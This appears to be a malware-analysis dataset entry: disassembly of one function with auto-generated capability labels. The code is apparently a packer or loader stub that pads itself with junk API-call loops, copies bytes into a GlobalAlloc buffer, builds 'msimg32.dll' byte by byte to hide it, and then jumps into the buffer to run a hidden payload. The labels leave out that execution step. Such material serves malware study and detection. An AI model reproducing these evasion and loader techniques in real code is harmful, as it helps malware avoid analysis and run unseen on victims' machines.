Function at 0x4045c0
Capabilities:
Get disk size
Get file attributes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
cmp dword [0x45a9a4], 0x400
push ebx
push esi
push edi
jne 0x404632
xor esi, esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push esi
lea eax, [ebp - 0x81c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
push esi
call fcn.00405c43
add esp, 4
push esi
push esi
call fcn.00405bb4
push esi
push esi
push esi
call fcn.0040637f
add esp, 0xc
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
sub esp, 8
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00405ba0
fstp st(0)
add esp, 0x10
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x404654
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x404665
inc esi
cmp esi, 0x67d12
jl 0x404640
cmp dword [0x45a9a4], 0x93
jne 0x40470c
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCA]
push 0
lea ecx, [ebp - 0x41c]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
xor edx, edx
lock bts dword [edx], 0
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call fcn.00406287
add esp, 4
push 0
push 0
call fcn.00405f80
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00405fd0
fstp st(0)
push 0
call fcn.00405f46
add esp, 0xc
push 0
push 0
call fcn.00405f75
call fcn.00405a86
push 0
call fcn.00405f2f
add esp, 0xc
call fcn.004045b0
mov eax, dword [0x45a9a4]
mov edx, dword [0x44edc4]
add eax, 0x1134b
push eax
push 0
mov dword [0x45b7e0], edx
mov dword [0x45a9a4], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x45a430], eax
call fcn.004044f0
mov esi, 0x1692e
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x404740
cmp dword [0x45a9a4], esi
jbe 0x4047b6
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
nop
mov eax, dword [0x45b7e0]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x45a430]
mov byte [edx + esi], cl
cmp dword [0x45a9a4], 0x490
jne 0x4047ad
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 8]
push ecx
push 0
lea edx, [ebp - 0x1c]
push edx
push 0
call ebx
inc esi
cmp esi, dword [0x45a9a4]
jb 0x404760
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
xor esi, esi
mov eax, dword [0x45a9a4]
add eax, esi
cmp eax, 0x8d
jne 0x4047f9
push 0
lea ecx, [ebp - 0x81c]
push ecx
push 0
push 0
push 0
push 0
call edi
push 0
lea edx, [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x4047c4
call fcn.004043b0
xor edi, edi
xor esi, esi
jmp 0x404810
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x40482e
mov dword [ebp - 4], edi
add dword [ebp - 4], 0x11204
mov eax, dword [ebp - 4]
add dword [0x45a430], eax
inc esi
cmp esi, 0x674bd
jl 0x404810
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 4], 0x7b
cmp dword [0x45a9a4], 0x86
jne 0x40488a
push 0
call esi
push 0
lea ecx, [ebp - 0x41c]
push ecx
push 0x403ff0
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
cmp dword [0x45a9a4], 0xf
jne 0x40489f
push 0
lea edx, [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 4], 1
jne 0x404850
mov cl, 0x6c
mov al, 0x6d
push 0x451ac0
mov byte [0x451ac9], cl
mov byte [0x451ac3], al
mov byte [0x451ac4], 0x67
mov byte [0x451ac8], 0x64
mov byte [0x451acb], 0
mov byte [0x451aca], cl
mov byte [0x451ac7], 0x2e
mov byte [0x451ac6], 0x32
mov byte [0x451ac0], al
mov byte [0x451ac2], 0x69
mov byte [0x451ac5], 0x33
mov byte [0x451ac1], 0x73
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x45a430]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret